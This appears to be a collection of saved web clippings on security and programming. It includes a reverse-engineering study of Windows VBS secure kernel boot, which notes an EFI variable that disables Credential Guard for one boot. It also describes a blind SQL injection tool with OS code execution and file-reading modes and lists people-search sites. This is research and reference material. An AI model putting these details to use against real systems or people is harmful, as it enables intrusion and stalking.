OslpMainfirst calls OslpPrepareTarget, which is the “core” function of winload.efi: it will initiate the hypervisor, the kernels, and so on. But to begin with, it initiates the VBS configuration with OslSetVsmPolicy.
VBS policy load
OslSetVsmPolicyfirst checks the VbsPolicyDisabledEFI variable value (of the Microsoft namespace, see below). If set, this variable is cleared (set to 0), meaning that no Credential Guard configuration will be loaded. This EFI variable therefore allows disabling Credential Guard for a single boot only (and can be set through privileged calls from the VTL0 ring3). If it is not present, the configuration is loaded from the SYSTEM registry hive, and a call is performed to BlVsmSetSystemPolicy, which will read and update the VbsPolicyEFI variable if needed. The corresponding value is then stored in the BlVsmpSystemPolicyglobal variable. This EFI variable is set if the UEFI lock is enabled, and cannot be disabled by winload.efi (it just does not have the code to remove it, a custom EFI code must be used).
The function OslpPrepareTargetalso calls OslpProcessSIPolicy(which is called twice, first directly, then from the function OslInitializeCodeIntegrity). OslpProcessSIPolicychecks the SI policies signatures using three EFI variables “pools”. Each pool contains three EFI variables, the first contains the policy, the second its version, and the third contains the authorized policy update signers. For instance, for the C:\Windows\System32\CodeIntegrity\SIPolicy.p7b, variables are Si, SiPolicyVersionand SiPolicyUpdateSigners. If the “version” and the “update signers” variables are set, the system enforces the SI policy signature: it must be present and correctly signed, otherwise the boot process will fail. The verification itself is performed by the BlSiPolicyIsSignedPolicyRequiredfunction.
The three policies and the associated variables are summed up below:
Policy file 
EFI variables
C:\Windows\System32\CodeIntegrity\SIPolicy.p7b 
Si 
\EFI\Microsoft\Boot\SIPolicy.p7b 
SiPolicyVersion
SiPolicyUpdateSigners 
C:\Windows\System32\CodeIntegrity\RevokeSiPolicy.p7b 
RevokeSi
RevokeSiPolicyVersion
RevokeSiPolicyUpdateSigners 
\EFI\Microsoft\Boot\SkuSiPolicy.p7b 
SkuSi
SkuSiPolicyVersion
SkuSiPolicyUpdateSigners 
Table 1: SI policies and corresponding EFI variables 
We did not identify the purpose of the “revokeSiPolicy” and the “skuSiPolicy”, but they seem to be used similarly as the regular “SiPolicy”.
Hyper-V and kernels components load
The execution is then transferred to the OslArchHypervisorSetup function, which is called with an argument corresponding to the step to execute, starting from 0. On the first time, it will initiate Hyper-V (loading hvloader.efi and executing it via HvlpLaunchHvLoader). The Secure Boot settings are then checked by OslInitializeCodeIntegrity.
OslpPrepareTargetthen loads the NTOS kernel (ntoskrnl.exe), and use the OslpLoadAllModulesfunction to load the hal.dll and mcupdate.dll modules. Their signatures verifications are performed during the load process (in ImgpLoadPEImageand OslLoadImage). “Local Key” and “Identification Key” are then loaded from EFI variables by OslVsmProvisionLKeyand OslVsmProvisionIdkfunctions.
At this moment, the NTOS kernel is initiated but not started. OslVsmSetupis then called with the “0” parameter (same as OslArchHypervisorSetup: it takes a “step” parameter), which will first check that Hyper-V has been started and then initiate the OslVsmLoaderBlockglobals (parameters given to the secure kernel during its initialization). Then, OslVsmSetuploads the secure kernel (securekernel.exe) and its dependencies (skci.dll) through the OslpVsmLoadModulesfunction (OslLoadImageis again used to check their signatures). The EFI variable OsLoaderIndicationsfirst bit is then set to 1.
Finally, the OslVsmSetupfunction is called again but with the argument “1”. This triggers the initialization of several OslVsmLoaderBlockparameters.
When the function OslpPrepareTargetreturns, the VBS parameters have been validated, and both the NTOS and the secure kernels are loaded. Their entry points’ addresses have been stored in the OslpVsmSystemStartupand OslEntryPointglobal variables (respectively securekernel.exe and ntoskrnl.exe entry points) for further reuse.
Microsoft EFI variables
The VBS EFI variables (and more generally Microsoft ones) belong to the namespace: {0x77FA9ABD, 0x0359, 0x4D32, 0xBD, 0x60, 0x28, 0xF4, 0xE7, 0x8F, 0x78, 0x4B}. These variables have their “Boot” and “Setup” attributes set, so their access or modification after the EFI boot phase is not permitted.
It is however possible to dump them in order to help the reverser during his analysis. The EFI variables related to VBS and their corresponding usages are summed up below:
EFI variable name 
Usage
VbsPolicy 
VBS settings 
VbsPolicyDisabled 
Disable “magic” variable 
VsmLocalKeyProtector 

VsmLocalKey 

VsmLocalKey2 

WindowsBootChainSvn 

RevocationList 

Kernel_Lsa_Cfg_Flags_Cleared 

VsmIdkHash 

Si 
First CodeIntegrity policy 
SiPolicyUpdateSigners 
Update signers 
SiPolicyVersion 
Version 
RevokeSi 
Second CodeIntegrity policy 
RevokeSiPolicyVersion 
Update signers 
RevokeSiPolicyUpdateSigners 
Version 
SkuSi 
Third CodeIntegrity policy 
SkuSiPolicyUpdateSigners 
Update signers 
SkuSiPolicyVersion 
Version 
Table 2: Microsoft namespace EFI variables list 
In order to dump these variables’ content, it is possible to turn off Secure Boot and to use a simple EFI custom bootloader (gnu-efi and VisualStudio work perfectly). Some variables dumps are given as examples:
Name 
Value
CurrentActivePolicy 
0 
CurrentPolicy 
2 
BootDebugPolicyApplied 
0x2a 
WindowsBootChainSvn 
0x00000001 


VsmLocalKey2 
4c 4b 45 89 50 4b 47 31 96 00 00 00 01 00 01 00 2c 00 00 00 01 00 01 00 01 00 00 00 b2 21 ae a7 12 86 07 a8 15 28 d5 49 33 ac 09 ac 93 c8 e0 12 61 8f 10 d6 4c 68 d1 5a 5f 00 90 0c 5a 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 50 6c 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 c2 0f 94 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 03 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 
Table 3: EFI variables dump example 
Hyper-V and Secure Kernel startups
Back from OslpPrepareTarget, the execution flow has now to start Hyper-V and separate VTL0 and VTL1 spaces. This process can be summarized in the following points:
· winload runs in the “first” Hyper-V VM;
· winload calls the secure kernel’s entry point (EP);
· securekernel initializes itself, asks Hyper-V for its memory protection;
· securekernel asks for VTL1 activation;
· Hyper-V enables VTL1 (the “second VM”), returns in ShvlpVtl1Entry;
· securekernel (which is now VTL1) returns to winload (which is now VTL0) through ShvlpVtlReturn;
· winload calls ntoskrnl entry point.
These are the states before and after the initialization of securekernel (the VTL0 VM is the blue block, the VTL1 is the green one, and Hyper-V the orange one):

Figure 2: States before and after the securekernel initialization
When following the execution flow, OslpMain exits EFI mode by calling OslFwpKernelSetupPhase1and starts Hyper-V through OslArchHypervisorSetup with step “1”. Hvix64 is started by saving RSP into the HvlpSavedRsp global and by passing HvlpReturnFromHypervisor to hvix64. When HvlpReturnFromHypervisor is hit, the startup is checked using a cpuid instruction, and RSP is restored. We are actually in the first virtual machine, which will become VTL1 soon.
OslVsmSetup is then called a last time (step “2”) which will:
· check VBS parameters;
· verify that Hyper-V is correctly running;
· modify the OslVsmLoaderBlocksettings;
· copy the OslVsmLKeyArray(Local Key) and OslVsmIdk (“idk” for “Identification Key”) in the same block;
· call the secure kernel entry point which has been stored into the OslpVsmSystemStartupglobal, specifying the OslVsmLoaderBlockand its size as parameters.
The secure kernel will then perform its initialization, and will more specifically call SkmiProtectSecureKernelPagesin order to setup its own memory, but also register Hyper-V events interception routines (HyperGuard and its Skpg* prefixed routines). Operations on the following Model-Specific Register (MSR), according to http://www.sandpile.org/x86/msr.htm are intercepted and handled by the function SkpgxInterceptMsr:
· 0x1B(APIC_BASE);
· 0x1004(?);
· 0x1005(?);
· 0x1006(?);
· 0x100C(?);
· 0xC0000080(EFER);
· 0xC0000081(STAR);
· 0xC0000082(LSTAR);
· 0xC0000083(CSTAR);
· 0xC0000084(FMASK);
· 0xC0000103(TSC_AUX);
· 0x174(SEP_SEL);
· 0x175(SEP_RSP);
· 0x176(SEP_RIP);
· 0x1a0(MISC_ENABLE).
Our hypothesis is that these handlers are set in order to catch CPL transitions in VTL0 and to block critical MSR modifications. There are also two other routines, SkpgxInterceptRegisters and SkpgInterceptRepHypercall. One possibility is that the first one may be able to intercept CRXXX registers manipulation (CR4 write for SMEP disabling, for instance) and the second one to intercept unauthorized hypercalls (this is however just an hypothesis).
Regarding HyperGuard, it seems that VTL0 integrity checks are performed by SkpgVerifyExtents. This particular function is called by SkpgHyperguardRuntime, which may be scheduled for regular executions (using SkpgSetTimer). Those HyperGuard handlers and callbacks functions are copied in the SkpgContext global (initialized by SkpgAllocateContext and SkpgInitializeContext).
Keep in mind that the previous paragraphs are only assumptions and may be wrong, since we did not spend a lot of time on VTL1 HyperGuard/PatchGuard routines for now.
At the end of its initialization, the secure kernel will finally perform two hypercalls:
· 0x0F, into ShvlEnableVpVtl, specifying a ShvlpVtl1Entryfunction pointer;
· 0x12, into ShvlpVtlCall, which is not used in any other part of the code, and uses its own hypercall trampoline (we will give more details on these hypercall trampolines in the next article).
ShvlpVtl1Entry ends up on SkpPrepareForReturnToNormalMode, and it seems that this process actually makes Hyper-V enabling VTL1 and VTL0, return to ShvlpVtl1Entry, and then returns to winload.efi into VTL0 context.
Finally, when back into winload.efi main function, it will execute NTOS entry point through OslArchTransferToKernel, which calls its entry point using the OslEntryPoint global. 
The next operations are then executed as if Windows were starting in a normal world, except that the NTOS kernel is now aware of VBS-related components such as Device Guard.
Conclusion
Virtualization-based security is a key component of Microsoft’s Windows 10 security features. By covering the VBS’ secure kernel initialization, we hope that this article will give additional resources to reversers that want to dig deeper into these features.
In a second part, we will then cover how kernel communications between VTL0 and VTL1 and how Hyper-V hypercalls actually work.
Disclaimer
These findings have almost all been retrieved by static analysis using IDA Pro. We apologize if they contain mistakes (actually they probably do), and ask the readers to take this “as it is”. Any helpful remark or criticism is welcome, just email us at blog{at}amossys.fr!
﻿http://www.codeplex.com/msecdbg 
!exploitable Crash Analyzer - MSEC Debugger Extensions - Home
Created:
6/16/2009 6:44:59 PM
Updated:
6/16/2009 6:45:12 PM
Author:

Tags:
bookmark Debugging windows security


Project Description
!exploitable (pronounced “bang exploitable”) is a Windows debugging extension (Windbg) that provides automated crash analysis and security risk assessment. The tool first creates hashes to determine the uniqueness of a crash and then assigns an exploitability rating to the crash: Exploitable, Probably Exploitable, Probably Not Exploitable, or Unknown. There is more detailed information about the tool in the following .pptx file or at http://www.microsoft.com/security/msec. Additonally, see the blog post at http://blogs.technet.com/srd/archive/2009/04/08/the-history-of-the-exploitable-crash-analyzer.aspx.

This tool was created by the Microsoft Security Engineering Center (MSEC) Security Science Team. For more information on MSEC and the Security Science team, please visit http://www.microsoft.com/security/msec. To see what's being worked on presently, visit the Security Research and Development blog at http://blogs.technet.com/srd/.
Last edited Apr 14 at 11:39 PM by jasoshi, version 7
﻿A survey of main memory acquisition and analysis techniques for the Windows operating system
Created:
11/7/2013 2:16:19 PM
Updated:
11/7/2013 2:17:50 PM
Author:
wishi
Tags:
Forensics





﻿https://www.darkreading.com/partner-perspectives/juniper/a-sneak-peek-at-the-new-nist-cybersecurity-framework/a/d-id/1331144 
A Sneak Peek at the New NIST Cybersecurity Framework - Dark Reading
Created:
3/7/2018 8:24:19 AM
Updated:
3/7/2018 8:24:19 AM
Author:
wishi
Tags:
management



A Sneak Peek at the New NIST Cybersecurity Framework
Key focus areas include supply chain risks, identity management, and cybersecurity risk assessment and measurement.
The National Institute of Standards and Technology's (NIST) updated Cybersecurity Framework, scheduled for release later this year, should provide some welcome new advice for organizations struggling to manage cyber-risk in the current threat environment.
 The key areas where the framework will provide guidance is about supply chain risks, identity management and cybersecurity risk assessment and measurement.  NIST released two draft framework updates containing the changes last year - the second in December 2017. It is currently reviewing public comments and will release a finalized version in the spring.
A De Facto Standard
First published in Feb 2014, the Cybersecurity Framework was originally developed to help critical infrastructure operators assess cyber risk and implement business-appropriate countermeasures for dealing with those risks. Over the years, the framework has been adopted by critical infrastructure organizations along with other industries of all sizes. It's most important contribution has been to create a common vocabulary for identifying, protecting, detecting, responding and recovering from cyber threats. The guidelines in the framework have become a standard for cyber-risk management for many enterprises and, since last May, a mandated requirement for US federal agencies.
The updates in version 1.1, according to NIST, are designed to amplify the framework's value and make it easier to use. Here are some key features:
Descriptions, Definitions & Processes
The new version of the NIST Cybersecurity Framework will introduce simple descriptions and definitions for identifying all the stakeholders and associated cyber-risks in an organizational supply chain. It will also highlight methods for identifying security gaps within the supply chain itself, and other management processes .
Measuring Risk
Risk-assessment is another area where organizations can expect to find fresh insight. There is now a revised section on measuring and demonstrating cybersecurity effectiveness, along with a new section on self-assessing cyber-risk. The section will highlight how organizations can identify, measure and manage cyber-risk to support their broader business goals and outcomes. The updated framework will also provide a basis for organizations to not only assess their current cybersecurity risk but to convey it in a standard way to suppliers, partners and other stakeholders in order  to reduce the chances of miscommunication.
Identity & Access Control
This section has been revised to provide more clarity around concepts like user authentication, authorization and identity-proofing. The goal is to help organizations identify the best processes for ensuring access in the face of exploding cloud, mobile technologies and other computing paradigms.
The NIST Cybersecurity Framework was, and continues to be, completely voluntary. Except for federal agencies, no organization is required to follow any of the implementation practices contained in the framework. But considering how widely the framework is used these days, smart organizations will want to consider the distinct possibility that someday their security practices will be assessed against it.
Laurence Pitt is the Strategic Director for Security with Juniper Networks' marketing organization in EMEA. He has over twenty years' experience of cyber security, having started out in systems design and moved through product management in areas from endpoint security to ... View Full Bio
More Insights


﻿https://code.google.com/p/bsqlbf-v2/wiki/About 
About - bsqlbf-v2 - Updated version of the Blind SQL Injection Brute Forcer from www.514.es. Works against PostgreSQL, MySQL, MSSQL and Oracle and supports custom SQL Queries. - Blind Sql Injection Brute Forcer version 2 - Google Project Hosting
Created:
1/31/2012 7:16:44 PM
Updated:
1/31/2012 7:16:55 PM
Author:

Tags:
security tools pentest sql-injection


About   
Updated version of the Blind SQL Injection Brute Forcer from www.514.es. Works against PostgreSQL, MySQL, MSSQL and Oracle and supports custom SQL Queries. 
Updated May 22, 2009 by sumit.si...@gmail.com
Introduction
This is a modified version of 'bsqlbfv1.2-th.pl'. This perl script allows extraction of data from Blind SQL Injections. It accepts custom SQL queries as a command line parameter and it works for both integer and string based injections. Databases supported:
0. MS-SQL
1. MySQL
2. PostgreSQL
3. Oracle
The tool supports 6 attack modes(-type switch):- 

Type 0: Blind SQL Injection based on true and false conditions returned by back-end server 
Type 1: Blind SQL Injection based on true and error(e.g syntax error) returned by back-end server.
Type 2: Blind SQL Injection in "order by" and "group by".
Type 3: extracting data with SYS privileges (ORACLE dbms_export_extension exploit)
Type 4: is O.S code execution (ORACLE dbms_export_extension exploit)
Type 5: is reading files (ORACLE dbms_export_extension exploit, based on java)


﻿http://www.lifehack.org/articles/communication/8-tools-to-find-someone-online.html 
8 Tools to Find Someone Online - Stepcase Lifehack
Created:
5/17/2009 6:49:30 PM
Updated:
5/17/2009 6:49:50 PM
Author:

Tags:
security tools web socialising


May 14th, 2009 in Communication, Featured
8 Tools to Find Someone Online
Finding a way to contact someone has gotten a lot easier: just type their name into Google and follow a few links. For many people, you’ll quickly find a profile on Facebook, a blog or even an email address you can use to get in touch. But a Google search doesn’t turn up good results for everyone. Maybe the person you’re trying to reach has a fairly common name. You may need a tool a little better than a simple Google search to find him.
1. 123people 
123people provides a good start when you’re looking for someone online. You can type in just a first name and a last name and get pictures, phone numbers, email addresses, Amazon wishlists, websites, documents and more. It turns up a lot of search results for relatively common names — or names that refer to someone famous in addition to the person you’re looking for. The only drawback to so much information is that it can take a little while to search through it all and find the specific person you’re searching for. 
2. Pipl 
Pipl is a free search tool, although it brings in results from several other sites which do charge for access to particular records. Between those various sources, Pipl turns up a good number addresses and phone numbers, along with links to public records, online mentions and other useful pieces of information. Particularly helpful is Pipl’s ability to search withing a specific city, state or zip code. If you know the geographic location of the person in question, you’ll be able to narrow down search results to that area. 
3. YoName 
If you’re confident the person you want to find has a profile on some social networking site, a good search tool is YoName. The site searches across a whole list of different social networking sites, from big names like MySpace to less common options like Webshots. The results can take a little time to look through, but the process is made easier by the fact that they’re laid out in a table — you can browse through it quickly. 
4. Zoom Info 
Zoom Info is particularly useful if you’re looking to connect with someone at their job. Search results include job titles and employers, along with locations. The site offers a ‘contact this person’ button, but requires you to sign up for a free trial in order to use it. After the free trial, using that button and some of the site’s other features cost $99 per month. If you’re willing to do a little more legwork by calling up the company listed and seeing if you can ask for a direct number or email address, you can generally skip paying that fee. 
5. Jobster 
Jobster’s main focus is searching for jobs, but it also offers a tool to search for individuals. In most cases, it’s used for employers and recruiters looking for leads — but it can offer up some contact information that can help your search. A few other job sites offer a similar opportunity, as well. 
6. Inmate Search 
Unfortunately, you may find yourself in need of Inmate Search — while the site isn’t pretty, it includes a list of contact information for each state’s system for finding inmates, as well as the federal system. Unfortunately, there’s not a lot of options for searching all states at once, but if you know the state the person you’re looking for might be incarcerated in, you can speed up the search process. 
7. Intelius 
To access most of the information available through Intelius, you’ll be asked to pay a fee. The site offers everything from phone numbers to complete background checks and actually can have useful information. I have purchased information from Intelius in the past and it did lead me to exactly the person I was looking for. However, I know the price tag (often starting around $40) can be off-putting, especially if you’re only casually searching or if you need to find information on a long list of people. 
8. Zaba Search 
I know many people who swear by Zaba Search when it comes to searching public records for free. I’ve had minimal luck on it myself, but if you’re having some difficulty, it may be worth a try. The reverse phone look on Zaba Search is particularly problematic — the site actually uses Intelius to look up phone numbers, which charges for the information. 
Other Options 
There are more than a few other options for searching for people out there. These eight are just options I’ve actually used in the past. There are also a lot of specialized search tools, like if you’re trying to find a person’s criminal record or you want to look for someone who works for the US government. You can also check social networking sites individually — most search tools that cover social media focus on larger sites, and ignore the smaller ones, along with forums and message boards. Unfortunately, there’s still not a particularly good tool for searching such sites — even if you’re willing to pay. You’re left with essentially searching those sites by hand. 
The drawback to the options listed above is that they all primarily focus on the U.S. I’ve had little luck finding resources for international searches. If you have any suggestions, please share them in the comments. 


﻿http://geekandpoke.typepad.com/.a/6a00d8341d3df553ef014e5f920093970c-pi 
6a00d8341d3df553ef014e5f920093970c-pi (JPEG-Grafik, 1750x2479 Pixel) - Skaliert (25%)
Created:
3/18/2011 5:14:28 PM
Updated:
3/18/2011 5:14:28 PM
Author:

Tags:
LOLZ


﻿http://www.networkworld.com/news/2010/110910-google-android-useful-resources-smartphones.html 
8 useful Google Android resources
Created:
11/10/2010 8:12:22 AM
Updated:
11/10/2010 8:12:36 AM
Author:

Tags:
mobile/embedded software android


Best Android apps
Our friends at PC World took at stab at picking the 22 best apps of all sorts in the Android Market, including SkyFire and Barcode Scanner. For few narrower lists, you can also try the10 Best Entertainment Apps and 10 Free Android Apps for Staying in the Know. Oh, and if you want to get some work done, see 10 Must-Have Android Apps for Business.
 
Android security
Google Android security is improving but has some catching up to do with the iPhone and BlackBerry. Here’s what a Forrester analyst has to say about Android security and here’s what IT pros at big organizations like Del Monte Foods and Ford have to say aboutsmartphone security concerns and priorities.  The good news is that technologies from companies like Good Technology are being designed to support Android devices. 
 
Android tips
Network World Senior Editor Jon Brodkin is an early Android smartphone user and offers histips on installing Flash on Froyo (Android OS 2.2) and offers his impressions of Froyo on a Motorola Droid. Separately, PC World offers tips on making sure Android app developers aren’t snooping on your privacy.  This final article is a little older, with some of it relating specifically to Android OS 2.0, but many of these 40 Android tips still apply.
﻿http://vedantk.tumblr.com/post/26182854460/higher-order-programming-in-c 
/home/vk/misc - Higher-order programming in C
Created:
7/3/2012 7:55:48 PM
Updated:
7/3/2012 7:55:48 PM
Author:

Tags:
C programming


Higher-order programming in C
apply() is an important component of languages that support higher-order programming.
It’s usually built into a language, but it isn’t really available in C. Since C has support for dynamic typing (in the form of void*) and first-class functions, I thought it might be possible to implement apply() in C.
Today, I did.
My approach was to mmap() an executable buffer and then craft a payload that loads arguments to the callee. After assembling the payload, I call the target function, restore the stack to its original condition, and then return the contents of %rax to the caller.
What’s really interesting about this is that you can now take pointers to arbitrary functions, even ones with unknown prototypes, and apply them onto data of an arbitrary length. No function pointer typedefs needed!
This implementation of apply() makes it trivial to implement map().
It also makes implementing message passing fairly easy. If you represent an object as a map of function names to function pointers, send() is a breeze;
 
(define (send object action . args)
  (apply (lookup object action) args))
view raw gistfile1.rkt This Gist brought to you by GitHub. 
And there’s no need to stop there!
“This Actually Works?”
Yep. Here’s a basic demo of apply() in action;
 
#include <stdio.h>

extern void* apply(void* func, void** args, size_t argc);

long bar(int a, int b, long c, long d, int e, long f, long g, int h) {
printf( "a = %x\n"
"b = %x\n"
"c = %lx\n"
"d = %lx\n"
"e = %x\n"
"f = %lx\n"
"g = %lx\n"
"h = %x\n",
a, b, c, d, e, f, g, h);
return h;
}

long foo(long a, long b, long c) {
long baz = a ^ b & c;
printf("a ^ b & c = %d\n", baz);

long args[] = {
0xaaddaadd,
0xddaaddaa,
0xaaaaaaaabbbbbbbb,
0x1234123412341234,
1,
0x4321432143214321,
0x9879879879879879,
2
};
void* result = apply(bar, (void**) &args, 8);
printf("--> %ld\n", (long) result);
return (long) result;
}

int main() {
long args[] = {3, 4, 5};
void* result = apply(foo, (void**) &args, 3);
printf("-> %ld\n", (long) result);
return 0;
}

/*
$ ./test
a ^ b & c = 7
a = aaddaadd
b = ddaaddaa
c = aaaaaaaabbbbbbbb
d = 1234123412341234
e = 1
f = 4321432143214321
g = 9879879879879879
h = 2
--> 2
-> 2
*/
view raw demo.c This Gist brought to you by GitHub. 
... and here’s the source;
 
/*
* apply.c
*
* A basic implementation of apply() for systems that use the
* System V AMD64 calling convention.
*/

#include <string.h>
#include <sys/mman.h>

size_t codesize(size_t argc);
char* setup_stack(char* buf, size_t argc);
char* inject_param(char* buf, size_t pos, void* arg);
char* inject_funcall(char* buf, void* func);
void restore_stack(char* buf, size_t argc);

void* apply(void* func, void** args, size_t argc) {
size_t len = codesize(argc);
char* codemem = mmap(0, len,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (!codemem) {
return NULL;
}

char* buf = setup_stack(codemem, argc);
for (size_t pos=0; pos < argc; ++pos) {
buf = inject_param(buf, pos, args[pos]);
}
buf = inject_funcall(buf, func);
restore_stack(buf, argc);

void* result = ((void* (*)()) codemem)();
munmap(codemem, len);
return result;
}

size_t codesize(size_t argc) {
if (argc <= 6) {
return (argc * 10) + 7 + 1;
} else {
return 8 + 60 + ((argc - 6) * 16) + 7 + 2;
}
}

char* setup_stack(char* buf, size_t argc) {
if (argc <= 6) {
return buf;
} else {
/* push %rbp */
buf[0] = 0x55;

/* mov %rsp, %rbp */
buf[1] = 0x48;
buf[2] = 0x89;
buf[3] = 0xe5;

/* sub ..., %rsp */
buf[4] = 0x48;
buf[5] = 0x83;
buf[6] = 0xec;

/* Supports up to 31 stack arguments. */
buf[7] = (unsigned char) ((argc - 6) * 8);
return buf + 8;
}
}

char* inject_param(char* buf, size_t pos, void* arg) {
/* RDI, RSI, RDX, RCX, R8, R9, <Stack> */
if (pos < 6) {
const unsigned char movs[] = {
0xbf, /* rdi */
0xbe, /* rsi */
0xba, /* rdx */
0xb9, /* rcx */
0xb8, /* r8 */
0xb9, /* r9 */
};
buf[0] = (pos < 4) ? 0x48 : 0x49;
buf[1] = movs[pos];
memcpy(buf + 2, &arg, 8);
return buf + 10;
} else {
/* movl ...[0:4], ...(%rsp) */
/* movl ...[4:8], ...+4(%rsp) */
buf[0] = buf[8] = 0xc7;
buf[1] = buf[9] = 0x44;
buf[2] = buf[10] = 0x24;
buf[3] = (unsigned char) ((pos - 6) * 8);
buf[11] = buf[3] + 4;
char* param = (void*) &arg;
memcpy(buf + 4, param, 4);
memcpy(buf + 12, param + 4, 4);
return buf + 16;
}
}

char* inject_funcall(char* buf, void* func) {
/* mov ..., %eax */
buf[0] = 0xb8;
memcpy(buf + 1, &func, 4);

/* callq *%rax */
buf[5] = 0xff;
buf[6] = 0xd0;
return buf + 7;
}

void restore_stack(char* buf, size_t argc) {
if (argc > 6) {
/* leaveq */
buf[0] = 0xc9;
buf = buf + 1;
}

/* retq */
buf[0] = 0xc3;
}
view raw apply.c This Gist brought to you by GitHub. 
It only supports 64-bit operating systems that use the System V calling convention, so you might have to tweak a bit of the assembly if you’re on Windows.
“... Why do this?”
Because I can, of course.
﻿http://rjlipton.wordpress.com/2010/08/08/a-proof-that-p-is-not-equal-to-np/ 
A Proof That P Is Not Equal To NP? « Gödel’s Lost Letter and P=NP
Created:
8/12/2010 5:03:02 PM
Updated:
8/12/2010 5:03:02 PM
Author:
wishi
Tags:




a personal view of the theory of computation
· Home
· About Me
· About P=NP and SAT
· Conventional Wisdom and P=NP
· My Wordle
· The Gödel Letter
· Cook’s Paper
· Thank You Page
A Proof That P Is Not Equal To NP?
August 8, 2010
tags: P=NP, Proof
by rjlipton

A serious proof that claims to have resolved the P=NP question.

Vinay Deolalikar is a Principal Research Scientist at HP Labs who has done important research in various areas of networks. He also has worked on complexity theory, including previous work on infinite versions of the P=NP question. He has just claimed that he has a proof that P is not equal to NP. That’s right: . No infinite version. The real deal.
Today I will talk about his paper. So far I have only had a chance to glance at the paper; I will look at it more carefully in the future. I do not know what to think right now, but I am certainly hopeful.
The Paper
Deolalikar’s draft paper is here—he was kind enough to give me the pointer to his paper. For now please understand that this is a “preliminary version.” See the discussion by Greg Baker, who first posted on his paper.
At first glance it is a long, well written paper, by a serious researcher. He clearly knows a great deal of complexity theory and mathematics. His Ph.D. thesis at USC is titled:
On splitting places of degree one in extensions of algebraic function fields, towers of function fields meeting asymptotic bounds, and basis constructions for algebraic-geometric codes.
My first thought is who knows—perhaps this is the solution we have all have been waiting for. If it is correct, the Clay list will drop down to five. I assume he would take the prize.
But first there is the small issue of correctness. Is his paper correct?
I suggest you look at his paper to see his own summary of his approach, and of course the details of his proof. At the highest level he is using the characterization of polynomial time via finite model theory. His proof uses the beautiful result of Moshe Vardi (1982) and Neil Immerman (1986):
Theorem: On ordered structures, a relation is defined by a first order formula plus the Least Fixed Point (LFP) operator if and only if it is computable in polynomial time.
Then, he attacks SAT directly. He creates an ordered structure that encodes SAT. He then argues if P=NP, then by the above theorem it must follow that SAT has certain structural properties. These properties have to do with the structure of random SAT. This connection between finite model theory and random SAT models seems new to me.
The one thing that strikes me immediately is his use of finite model theory. This is one area of logic that has already led to at least one breakthrough before in complexity theory. I believe that Neil used insights from this area to discover his famous proof that  is closed under complement. It is interesting that the “final” proof does not directly use the machinery of finite model theory. Deolalikar’s connection between model theory and the structure of random SAT is interesting. I hope it works, or at least sheds new light on SAT.
An obvious worry about his proof, just from a quick look, is the issue of relativization. I believe that the LFP characterization, and similar first order arguments do relativize in general. However, it is possible that his use of concretely encoded structures prevents his entire argument from relativizing. We will need to check carefully that his proof strategy evades this limitation. I am on record as not being a fan of oracle results, so if this is the problem for his proof, I will have to re-think my position. Oh well.
Deolalikar does cite both Baker-Gill-Solovay for relativization and Razborov-Rudich for the “Natural Proofs” obstacle. His proof strategy ostensibly evades the latter because it exploits a uniform characterization of P that may not extend to give lower bounds against circuits. In fact the paper does not state a concrete time lower bound for SAT, as the proof is by contradiction. Since the gap in the contradiction is between “” and “,” it is possible that a time lower bound of “ for some ” is implied. More will have to wait until there is time to examine all the threads of this long and complex paper closely. However, the author certainly shows awareness of the relevant obstacles and command of literature supporting his arguments—this is a serious effort.
Open Problems
Is his paper correct? How does he avoid all the “barriers” that have been claimed to surround the P=NP question? Let’s hope it all checks out.
﻿http://www.recon.cx/2012/schedule/attachments/45_Recon%202012%20Skochinsky%20Compiler%20Internals.pdf 
45_Recon 2012 Skochinsky Compiler Internals.pdf
Created:
8/24/2014 8:23:41 PM
Updated:
8/24/2014 8:23:41 PM
Author:

Tags:
bookmark compiler-building reversing


﻿http://blogs.msdn.com/doronh/archive/2010/05/05/arbitration-and-translation-part-1.aspx 
A Hole In My Head : Arbitration and Translation, Part 1
Created:
5/6/2010 4:54:23 PM
Updated:
5/6/2010 6:26:06 PM
Author:

Tags:
windows security kernel


ARBITRATION AND TRANSLATION, PART 1
A while back Jake Oshins answered a question on NTDEV about bus arbitration and afterwards I asked him if he could write a couple of posts about it for the blog. Here is part 1.
 
History Lesson
 
In the history of computing, most machines weren’t PCs.  PCs, and the related “industry standard” server platforms, may constitute a huge portion of the computers that have been sold in the last couple of decades, but even during that time, there have been countless machines, both big and small, which weren’t PCs.  Windows, at least those variants which are derived from Windows NT, (which include Windows XP and everything since,) was originally targeted at non-PC machines, specifically those with a MIPS processor and a custom motherboard which was designed by in-house at Microsoft.  In the fifteen years that followed that machine, NT ran on a whole pile of other machines, many with different processor architectures.
 
My own career path involved working on the port of Windows NT to PowerPC machines.  I wrote HALs and worked on device drivers for several RS/6000 workstations and servers which (briefly) ran NT.  When I came to Microsoft from IBM, the NT team was just getting into the meat of the PnP problem.  The Windows 95 team had already done quite a bit to understand PnP, but their problem space was really strongly constrained.  Win95 only ran on PCs, and only those with a single processor and a single root PCI bus.
 
Very quickly, I got sucked into the discussion about how to apply PnP concepts to machines which were not PCs, and also how to extend the driver model in ways that would continue to make it possible to have one driver which ran on any machine, PC or not.  If the processor target wasn’t x86, you’d need to recompile it.  But the code itself wouldn’t need changing.  If the processor target was x86, even if the machine wasn’t strictly a PC, your driver would just run.
 
In order to talk about non-PC bus architectures, I want to briefly cover PC buses, for contrast.  PC’s have two address spaces, I/O and memory.  You use different instructions to access each.  I/O uses “IN, OUT, INS, and OUTS.”  That’s it.  Memory uses just about any other instruction, at least any that can involve a pointer.  I/O has no way of indirecting it, like virtual memory indirects memory.  That’s all I’ll say about those here.  If you want more detail, there have been hundreds of good explanations for this.  My favorite comes from Mindshare’s ISA System Architecture, although that’s partly because that one existed back when I didn’t fully understand the problem space.  Perhaps there are better ones now.
 
